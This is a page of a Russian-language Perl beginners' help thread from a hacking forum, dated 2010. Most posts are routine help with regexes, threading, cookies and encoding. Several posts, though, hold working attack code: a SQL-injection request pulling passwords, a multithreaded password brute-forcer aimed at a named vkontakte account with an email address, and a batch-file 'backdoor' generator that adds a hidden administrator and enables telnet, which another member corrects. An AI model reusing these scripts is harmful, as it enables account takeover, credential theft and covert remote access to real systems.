PDA

Просмотр полной версии : [Perl] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 [7]

pinch
13.04.2010, 00:38
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/showthread.php?p=2067931#post2067931";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";

вводим forum.antichat.ru

pinch
13.04.2010, 00:40
forum.antichat.ru

pinch
13.04.2010, 00:49
все чувак пащет оказывается =))) спасибо

use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/mynews.php?id=1+union+select+password+from+users/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] Information : $answer\n\n";

pinch
13.04.2010, 00:50
надо регулярные выражения позубрить=)))

L!S
16.04.2010, 19:39
}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 64827412; #id цели
$mail = 'ilya-seleznev%40mail.ru'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}


ато у меня не сохраняются правильный пороль в good.txt

SeNaP
20.04.2010, 15:29
Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.

krypt3r
20.04.2010, 16:49
|<a.+?>(.+?)</a>|

SeNaP
20.04.2010, 16:56
if($doc =~ /|<a.+?>(.+?)<\/a>|/){
print "\n[+] $2 \n";
}else{
print "\nError\n";
}
т.е. так?

life_glider
20.04.2010, 20:33
to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}

SeNaP
20.04.2010, 20:41
to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}
Спасибо, но как сделать, чтобы
вырезало так,
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">(.+)</a></b>';
по такому шаблону.Т.е. всё что между тегами, вернуло

eLWAux
20.04.2010, 20:47
Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.
if ($page =~ /<b><a class=link1 href=".+?">(.+?)<.a><.b>/i) { .. };

}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)

#!/usr/bin/perl
....
ато у меня не сохраняются правильный пороль в good.txt
ошибки нету, скрипты старый. для вк и других соц. сетей есть другой раздел на этом форуме.

mazaxaka
21.04.2010, 14:15
как заставить перk работать с https \ssl

Kaimi
21.04.2010, 15:20
IO::Socket::SSL поставить

Vlad&slav
25.04.2010, 18:03
где ошибко?
# perl
$a=3;
$b=5;
my $aaa = $b%$a;
print $aaa;
sleep (123);

Fepsis
25.04.2010, 18:41
где ошибко?

Результат в консоли ждёшь..?!
# perl
$a=3;
$b=5;
my $aaa = $b%$a;
print $aaa."\n";
sleep (123);

Mr.Replica
01.05.2010, 12:47
Пишу авторег,не могу выставить функцию чтоб ключ AC выдирал из файла Key.txt

#antigate
my $AC_HOST = 'antigate.com';
#AC key
my $AC_KEY = 'key.txt';
Где ошибка??

.Slip
02.05.2010, 00:23
Ошибка вероятней всего в авторе кода, который не хочет/не может прочитать элементарный материал и уже начинает "программировать".

Vlad&slav
05.05.2010, 21:55
Помогите исправить ошибки в функции

#!/usr/bin/perl

use Socket;

sub anti_num_capcha
{
$_[0] =~/Время на раздумье 1 минута\: (.+) \=/;

my($ch1,$ch2) = split(/+/, $1);

print $ch1;
print $ch2;

$host = 'iiii.eu5.org';
$doc = '/anc/index.php?text='.sh1;
$conn = IO::Socket::INET->new(Proto => 'tcp',
PeerAddr => $host,
PeerPort => "http(80)");
|| die "Can’t connect\n";

if (!$conn);
$conn->autoflush(1);
print $sock join(
"GET / HTTP/1.0",
"Host: 127.0.0.1",
"User-Agent: Agent v 1.0",
"", "");
my $res1;
while (<$sock>) { $res1 = $res1.<$sock>; }
close $sock;

$doc = '/anc/index.php?text='.sh2;
$conn = IO::Socket::INET->new(Proto => 'tcp',
PeerAddr => $host,
PeerPort => "http(80)");
|| die "Can’t connect\n";

if (!$conn);
$conn->autoflush(1);
print $sock join(
"GET / HTTP/1.0",
"Host: 127.0.0.1",
"User-Agent: Agent v 1.0",
"", "");
my $res2;
while (<$sock>) { $res1 = $res2.<$sock>; }
close $sock;

return $res1 + $res2;

}

print anti_num_capcha('Для подтверждения того что вы человек, напишите ответ на несложный пример. Время на раздумье 1 минута: сорок пять + шестнадцать =');

sleep(123);

krypt3r
06.05.2010, 07:01
use strict;
use warnings;
perldoc -f join
print и снифер для отладки

Kaimi
09.05.2010, 23:39
Это варнинг, который намекает, что ты использовал массив results только один раз в коде.

kodep
20.05.2010, 08:35
#!/usr/bin/perl
use LWP::UserAgent;
$ua=LWP::UserAgent->new;
$ua->timeout(10);
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$url='http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml?CONNECT';
$page=$ua->get($url);
open(LOAD,">./proxy.txt");
while($page->content=~m/(\d+\.\d+\.\d+\.\d+)\:(\d+)/)
{
print LOAD $1.":".$2."\n";
print $1.":".$2."\n";
}


мне нужно что бы скрипт грабил все прокси с опреденной страницы, а скрипт записывает в файл один прокси много раз

krypt3r
20.05.2010, 08:46
Модификатор g

kodep
20.05.2010, 09:31
Модификатор g
я пробовал и с ним и без него все равно... кто нибудь исправьте ошибку в скрипте ))

Kaimi
20.05.2010, 09:36
$page->content помести перед while, например, так:

$page=$ua->get($url)->content;
........
while($page =~ .....

kodep
20.05.2010, 09:41
$page->content помести перед while, например, так:

$page=$ua->get($url)->content;
........
while($page =~ .....
все сделал как ты сказал, заработало...спс

Strilo4ka
20.05.2010, 18:44
Научите меня куки устанавливать с ресурса правильно...
И посылать их каждый раз при последующих запросах.
Используя Libwww. Мб участки кода :) СПС

krypt3r
21.05.2010, 07:31
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
my $cookie_jar = HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1);
my $ua = LWP::UserAgent->new;
$ua->cookie_jar ($cookie_jar);

либо

$ua->cookie_jar (HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1));

Vlad&slav
27.05.2010, 23:16
как мне сделать?
переменная = 0;
Потом запускаю функцию в несколько потоков и в функции к переменной прибавляем число
Переменная должна увеличиваться тоесть какбе быть глобально

чтобы было понятно
надо получить не 22222 а 2345678
use Threads;
use Threads::shared;

my $a = 1;
my $threads = 10;

for(1..$threads) { $thread[$_] = threads->create(\&b);}
for(1..$threads) { $thread[$_]->join; }

sub b {
$a = $a + 1;
print $a."\n";
}

sleep 123;

.Slip
28.05.2010, 01:46
my $a : shared = 1;

kodep
02.06.2010, 10:54
не как не врублюсь в многопоточность вот я запустил скрипт который сверху 10 потоков прошло и скрипт вырубился можно показать на скрипте сверху как брать логины из txt файла login;password и подключаться к например к сайту как бы сделать авторизацию

Kaimi
02.06.2010, 13:16
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;

my $threads = 2;
my $file = 'test.txt';

open(F, "<$file") || die $!;
chomp(my @text : shared = <F>);
close F;

my @trl = ();
my $ua = new LWP::UserAgent;

$trl[$_] = threads->create(\&main) for 0..$threads-1;
$_->join for @trl;

sub main
{
while(@text)
{
my $line = shift @text;
my $code = $ua->get('http://rambler.ru/'.$line)->code;
print "$line -- $code\n";
}
}

taxpayer
02.06.2010, 15:56
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?


my $line;
{
lock text;
$line = shift @text
}

Kaimi
02.06.2010, 17:12
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?

По-моему я где то читал, что в данном случае это не требуется

SHok-SQL
08.06.2010, 02:24
Люди подскажыте почему в создаваемом файле там где не надо строки переносятся ? о_О



#!/usr/bin/perl

################################################## #############
#### ####
#### Здароваемся :-D ####
#### ####
################################################## #############

system ("color 02");
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ******* ********\n";
print " ******* SH Bat begdor generator ********\n";
print " ******* ********\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " \n";
################################################## #############
#### ####
#### Расспраэваем у юзера данные о бегдоре ####
#### ####
################################################## #############
print " ************************************************** *\n";
print " ********** vvedite login uch zapisi :"; $login = <>; #Спрашеваем у юзера пароль от учотки
print " ************************************************** *\n";
print " ********** vvedete parol' ot uch zapisi : "; $pass = <>; #Спрашеваем у юзера пасс от учотки
print " ************************************************** *\n";
################################################## #############
################################################## #############
#### ####
#### создаем переменные которые надо вопхнуть в файл ####
#### ####
################################################## #############
$a = "@echo off";
$q = "chcp 1251";
$w = "net user $login $pass /add";
$e = "net localgroup Администраторы $login /add";
$r = "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t /v ваш_логин /t REG_DWORD /d 0 /f";
$s = "sc config tlntsvr start= auto";
$ts = "sc start tlntsvr";
################################################
# созаём файл и нибиваем в него переменные #
################################################
open(OUT, '>> begdor.bat');############
print OUT $a."\n";#####################
print OUT $q."\n";#####################
print OUT $w."\n";#####################
print OUT $e."\n";#####################
print OUT $r."\n";#####################
print OUT $s."\n";#####################
print OUT $ts."\n";####################
close(OUT);############################
#######################################
<>

.Slip
09.06.2010, 00:38
Потому что данные вводимые с клавиатуры надо обрабатывать функцией chomp. И скажите хакеру который это писал, что бы прочитал что нибудь про экранирование.

perl script.pl login passwd
#!/usr/bin/perl
open FILE, '> output.bat';
print FILE "\@echo off\n",
"chcp 1251\n",
"net user $ARGV[0] $ARGV[1] /add\n",
"reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Use rList /v ваш_логин /t REG_DWORD /d 0 /f\n",
"sc config tlntsvr start= auto\n",
"sc start tlntsvr";
close FILE;

Fepsis
09.06.2010, 01:31
Господа, такой вопрос:

Имеется расшаренная переменная: my $n : shared = 0;
в скрипте в несколько потоков выполняется функция, (допустим такая):

sub arbyte
{
while($n <= 1000)
{
$n++;
print $n."\n";
}
}

Проблема в том, что периодически несколько потоков, обрабатывают одно и то же значение $n, что очень мешает..( Как этого избежать, не теряя скорость выполнения..?!

Pashkela
09.06.2010, 03:18
мейби так поможет:

while ($n<= 1000) {
{ lock($n);
$n++; }
print $n."\n";
}

anubis666
11.06.2010, 19:45
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!

_iks_
11.06.2010, 19:53
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!


$ip = '105.189.235.101';

$ip =~ /^(\d\d?\d?)\.(\d\d?\d?)/;

В переменных $1 и $2 будет 105 и 189 соответственно.

Pashkela
11.06.2010, 19:58
$ip = '105.189.235.101';
($a,$b) = split(/\./,$ip);
print $a."-".$b;

anubis666
11.06.2010, 20:04
Простите в регулярных выражениях я как в дремучем лесу..но меня наверно неправильно поняли,мне надо если ip 10.33.235.101 ,то значение переменной должно быть 10

Pashkela
11.06.2010, 20:07
$ip = '105.189.235.101';
($a) = split(/\./,$ip);
print $a;

.Slip
12.06.2010, 00:48
Подскажите кодеры, можно ли как нибудь укоротить кодес? У меня что то варианты кончились.

perl -e "$ARGV[0] =~ tr/A-Za-z/a-zA-Z/, print $ARGV[0];" QwErTy

Ну или так:

perl -e "$_ = shift, tr/A-Za-z/a-zA-Z/, print;" QwE

Всё равно не комильфо

astrologer
12.06.2010, 11:40
perl -e "$_ = shift, tr/A-Za-z/a-zA-Z/, print;" QwE

perl -E "$_ = shift, y/A-Za-z/a-zA-Z/, say" QwE
perl -E "y/A-Za-z/a-zA-Z/, say for shift" QwE
perl -E "say $_ ^ ' ' x length for shift" QwE
perl -E "say $_^' 'x length for@ARGV" QwE

Tigger
15.06.2010, 10:17
Подскажите а как в PERL'e сделать полный парсинг страницы?
Т.е. аналог preg_match_all в PHP.

Есть страница и надо вытянуть все значения, которые вытягивает регулярка.


Я пробовал вот так:
(my @items) = ($page =~ /<item num=(.*?) \/>/);
foreach $item (@items)
{
print $item."\r\n";
}

Но так выводит только первое спарсенное значение.

Kaimi
15.06.2010, 10:21
/<item num=(.*?) \/>/g

Tigger
15.06.2010, 10:29
/<item num=(.*?) \/>/g


Спасибо большое!
А вот спаршенные данные должны быть русскими буквами, а там крякозябра.
Раньше помню как-то делал, но сейчас забыл уже как...

Как вариант кодировать в base64 и сверять с тем что мне нужно, но как-то не хочу так заморачиваться....

krypt3r
15.06.2010, 10:45
use Encode, Luke :)

Tigger
15.06.2010, 11:03
Не понял, можешь именно пример подсказать?
encode_utf8
decode_utf8
from_to
и т.д... не помогает)

Fepsis
15.06.2010, 11:08
Tigger, если страница в utf-8, то типа так:
use Encode;

$s = 'тут страница, которую парсишь';
Encode::from_to($s, 'utf-8', 'windows-1251');

Tigger
15.06.2010, 11:24
Да, страница в utf-8.
Но все-ровно строка в кракозябре... Все-ровно русские символы не отображаются.

Tigger
15.06.2010, 12:30
Все, разобрался, спасибо!

Fepsis
16.06.2010, 01:09
Такая трабла:
при написании скриптов с использованием сервиса antigate.com юзаю модуль от Kaimi http://kaimi.ru/2009/05/anticaptcha-perl/
но вот проблема, на некоторых машинах отказывается работать, мотивируя этим:
undefined subroutine &IO::socket::INET called at AntiCaptcha.pm
хотя либа IO установлена и последней версии (пробовал переустанавливать)...
переустановка активперла не помогает.. Тестил на нескольких машинах (ХР, версия активперла на всех последняя)

С чем может быть связано..?!

Kaimi
16.06.2010, 01:17
Видимо с тем, что стоит попробовать вместо
new IO::Socket::INET (...
написать
IO::Socket::INET->new(...

Fepsis
16.06.2010, 01:29
Видимо с тем, что стоит попробовать вместо
new IO::Socket::INET (...
написать
IO::Socket::INET->new(...
Так и есть :) Большое спасибо..))